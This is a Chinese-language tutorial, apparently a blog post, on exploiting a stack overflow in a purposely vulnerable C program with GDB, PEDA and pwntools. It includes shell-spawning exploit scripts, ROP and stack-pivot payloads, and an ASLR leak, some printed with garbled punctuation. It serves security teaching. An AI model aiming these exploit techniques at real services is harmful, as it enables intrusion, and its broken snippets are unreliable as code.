pwn实战:利用gdb调试与Python脚本破解栈溢出漏洞

张开发
2026/5/25 18:52:28 15 分钟阅读
pwn实战:利用gdb调试与Python脚本破解栈溢出漏洞
1. 栈溢出漏洞原理与实战场景栈溢出是二进制安全领域最经典的漏洞类型之一。想象一下程序运行时函数调用和局部变量都存放在栈这个临时储物架上。当某个函数比如危险的gets()没有检查用户输入长度时超长的数据就会像洪水一样冲垮栈上的其他数据——这就是栈溢出的本质。在实际漏洞利用中我们通常会遇到这样的场景程序存在危险函数如gets、strcpy同时存在后门函数如直接调用system(/bin/sh)。通过精心构造的输入数据我们可以让溢出的数据覆盖关键内存地址比如函数指针从而劫持程序执行流程。我去年在分析某开源项目时就发现过类似的漏洞模式——开发者使用了strcpy处理用户输入而攻击者可以通过超长输入覆盖相邻的函数返回地址。2. 实验环境搭建与漏洞程序分析2.1 准备漏洞程序我们先准备一个典型的栈溢出漏洞示例程序vuln.c#include stdio.h #include string.h void secret_function() { system(/bin/sh); } void vulnerable_function() { char buffer[64]; gets(buffer); // 危险函数 printf(Input: %s\n, buffer); } int main() { vulnerable_function(); return 0; }编译时需要使用特定参数关闭现代防护机制gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie-fno-stack-protector禁用栈保护Canary-z execstack允许栈内存执行代码-no-pie关闭地址随机化2.2 基础调试配置建议安装增强版GDB插件增强调试体验git clone https://github.com/longld/peda.git ~/peda echo source ~/peda/peda.py ~/.gdbinit这样启动GDB时会自动加载PEDA插件提供寄存器、反汇编、栈视图等增强功能。3. GDB调试实战技巧3.1 基础调试流程启动调试会话gdb ./vuln关键调试命令一览start停在main函数入口disassemble vulnerable_function反汇编目标函数b *0x080491a2在指定地址设断点run input.txt带输入运行程序3.2 关键内存操作查看栈布局运行到gets函数前x/40wx $esp输出示例0xffffd570: 0xffffd58c 0x0000003f 0xf7e1b6bb 0xffffd588 0xffffd580: 0x08049246 0xffffd588 0x00000040 0xf7fba4c0修改内存值的两种方式set {int}0xffffd58c 0x41414141 # 直接修改 call (void)strcpy(0xffffd58c, AAAA) # 通过函数调用修改3.3 寄存器监控技巧查看所有寄存器info registers重点关注寄存器EIP下条指令地址ESP栈顶指针EBP栈帧基址单步执行时监控寄存器变化display $eax display $ebx ni # 单步执行4. Python自动化漏洞利用4.1 pwntools基础使用标准漏洞利用脚本框架from pwn import * context(archi386, oslinux) p process(./vuln) # 本地测试 # p remote(192.168.1.100, 9999) # 远程攻击 payload bA*76 # 填充缓冲区 payload p32(0x08049182) # secret_function地址 p.sendline(payload) p.interactive()4.2 高级payload构造当存在字符限制时的解决方案from struct import pack # 分阶段发送payload p.send(bA*60) p.sendline(bB*16 pack(I, 0x08049182)) # 使用编码规避坏字符 encoder b64encode(b\x82\x91\x04\x08)4.3 调试技巧集成在Python脚本中集成GDB调试gdb.attach(p, b *vulnerable_function25 c )5. 漏洞利用的进阶技巧5.1 ROP链构造基础当没有现成后门函数时需要构造ROP链rop ROP(./vuln) rop.call(system, [next(rop.search(b/bin/sh))]) payload flat({72: rop.chain()})5.2 栈迁移技术当溢出空间不足时的解决方案leave_ret 0x08049022 new_stack 0x0804a800 payload p32(new_stack) p32(system) p32(new_stack12) b/bin/sh\x00 payload payload.ljust(72, bA) p32(leave_ret)5.3 现代防护绕过思路针对ASLR的应对策略# 泄露libc地址 p.sendline(%3$p) libc_start int(p.recv(10), 16) - 0x18637 # 计算system地址 system_addr libc_start 0x3d2006. 实战中的疑难问题解决在实际漏洞利用过程中我遇到过几个典型问题地址错位问题有一次调试时发现payload总是差4个字节后来发现是忘记计算EBP压栈的影响。解决方法是在偏移量计算时4。坏字符干扰某次漏洞利用时发现0x0d会导致输入截断。最终通过payload编码XOR 0xff解决了这个问题。环境差异问题本地测试成功的payload在远程服务器失败原因是libc版本差异。解决方案是使用Docker构建与目标相同的环境。建议的调试检查清单确认偏移量计算正确pattern_create/pattern_offset检查所有地址的小端序格式验证payload中不包含坏字符确保栈空间可执行检查NX位

更多文章